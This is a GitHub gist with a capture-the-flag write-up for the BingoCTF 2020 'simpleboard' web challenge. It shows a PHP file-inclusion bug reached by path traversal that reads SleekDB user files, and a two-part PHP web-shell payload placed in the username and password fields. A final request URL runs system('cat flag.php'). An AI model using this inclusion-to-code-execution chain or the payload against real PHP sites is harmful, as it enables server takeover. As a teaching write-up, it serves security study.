Skip to content

Instantly share code, notes, and snippets.

@stypr
Last active April 19, 2021 08:15
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save stypr/86820d3f440295aae519d9c88b8ee27f to your computer and use it in GitHub Desktop.
Save stypr/86820d3f440295aae519d9c88b8ee27f to your computer and use it in GitHub Desktop.
BingoCTF 2020: Web - simpleboard [Medium]

web: simpleboard writeup

Let's check the main page's source code by view-source (view-source:http://web1.bingo.hypwnlab.com:12044/)

As wee see in the following, server loads an image from a website.

        <h3 class="text-center text-white pt-5"><img src="/?image=6c6f676f.png"></h3>

Let's take a look at the function in init.php that loads the image.

function read_image($filename){
    header("Content-Type: image/png");
    if(preg_match("/(^((?:[0-9a-fA-F])+)(\.png){0,1})|(^((?:[0-9a-fA-F])+)(\.jpg){0,1})/", $filename)){
        include("./images/".$filename);
        exit;
    }
    die("invalid file");
}

There is a messy preg_match for (jpg|png) and finally triggers include.

There are mainly two problems here:

  1. preg_match only checks for starting of the file, which means that 4141414141.png/../../../../../../../etc/passwd is a valid path. 6c6f676f.png/../../../../../../../../../tmp/db/users/data/1.json will not work as 6c6f676f.png is a valid file. (filename needs to be invalid to traverse the directory)

  2. include function should not be used for loading an image. This is a function to include and evaluate a PHP file.

With this bug in mind, Let's check the DB part. the service uses something called (SleekDB)[https://github.com/rakibtg/SleekDB] , which is a file-based NoSQL database written on PHP.

Here, the File based keyword is very important, because the file generated from the database can be used to trigger PHP code from the previous bug.

Let's see how init.php initializes its database.

function init_db(){
    global $users, $board, $files;
    $db = "/tmp/db";
    $users = \SleekDB\SleekDB::store("users", $db);
    $files = \SleekDB\SleekDB::store("files", $db);
    $board = \SleekDB\SleekDB::store("board", $db);

    // To prevent DoS
    if(
        count($users->fetch()) >= 0xff ||
        count($board->fetch()) >= 0xff ||
        count($files->fetch()) >= 0xff
    ){
        rrmdir($db);
        $users = \SleekDB\SleekDB::store("users", $db);
        $board = \SleekDB\SleekDB::store("board", $db);
        $files = \SleekDB\SleekDB::store("files", $db);
    }
}

Let's take a look at the structure of the DB.

root@7fff2f76a7a4:/# ls -alR /tmp/db/
/tmp/db/:
total 20
drwxr-xr-x 5 nginx nginx 4096 Nov 12 15:11 .
drwx-wx-wx 1 root  root  4096 Nov 12 15:11 ..
drwxr-xr-x 4 nginx nginx 4096 Nov 12 15:11 board
drwxr-xr-x 4 nginx nginx 4096 Nov 12 15:11 files
drwxr-xr-x 4 nginx nginx 4096 Nov 12 15:11 users
.. snipped ..
/tmp/db/users:
total 20
drwxr-xr-x 4 nginx nginx 4096 Nov 12 15:11 .
drwxr-xr-x 5 nginx nginx 4096 Nov 12 15:11 ..
-rw-r--r-- 1 nginx nginx    1 Nov 12 15:11 _cnt.sdb
drwxr-xr-x 2 nginx nginx 4096 Nov 12 15:11 cache
drwxr-xr-x 2 nginx nginx 4096 Nov 12 15:11 data
.. snipped ..
/tmp/db/users/data:
total 12
drwxr-xr-x 2 nginx nginx 4096 Nov 12 15:11 .
drwxr-xr-x 4 nginx nginx 4096 Nov 12 15:11 ..
-rw-r--r-- 1 nginx nginx  121 Nov 12 15:11 1.json

view-source:http://web1.bingo.hypwnlab.com:12044/?image=1.png/../../../../../../../../tmp/db/users/data/1.json

{"username":"admin","password":"VwHtJBDqJK0WQlsCoX9Fu2mBqPSsiWGJpVMs6GciXSvO1Hf061WY7qd57uOmfmxk","role":"admin","_id":1}

Accessing admin should will not give you the flag as the server limits the length of the password during the authentication.

        if(strlen($username) > 20 ||
           strlen($password) > 20){
            die("too long");
        }

Now, Instead of doing something weird, let's try to execute a code this time.

Assuming that we register with the username <?php $a=$_GET;` and the password `;$a[0]($a[1]);?>, it is possible to make a user json file like the following.

{"username":"<?php $a=$_GET;`","password":"`;$a[0]($a[1]);?>","role":"admin","_id":1}

The code works like the following

  1. $a is now $_GET
  2. `blahblah` will run system(), but it will not return anything.
  3. $_GET['0']($_GET['1']) will be executed at the end (because of $a)
  4. With this in mind, you can trigger arbitrary function from the $_GET parameter.

With this in mind, create the malicious user and execute system command to cat flag!

Exploit

  1. Register and login with the username <?php $a=$_GET;` and the password `;$a[0]($a[1]);?>
  2. Check the current user count (view-source:http://web1.bingo.hypwnlab.com:12044/?image=1.png/../../../../../../../../tmp/db/users/_cnt.sdb)
  3. Use the value from (2) to load the generated user.
  4. Use this value to run a script, and cat the flag file. (view-source:http://web2.bingo.hypwnlab.com:12044/?image=1.png/../../../../../../../../tmp/db/users/data/2.json&0=system&1=cat+flag.php)

{"username":"<?php

define("__FLAG__", "Bingo{...}");

","role":"user","_id":2}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment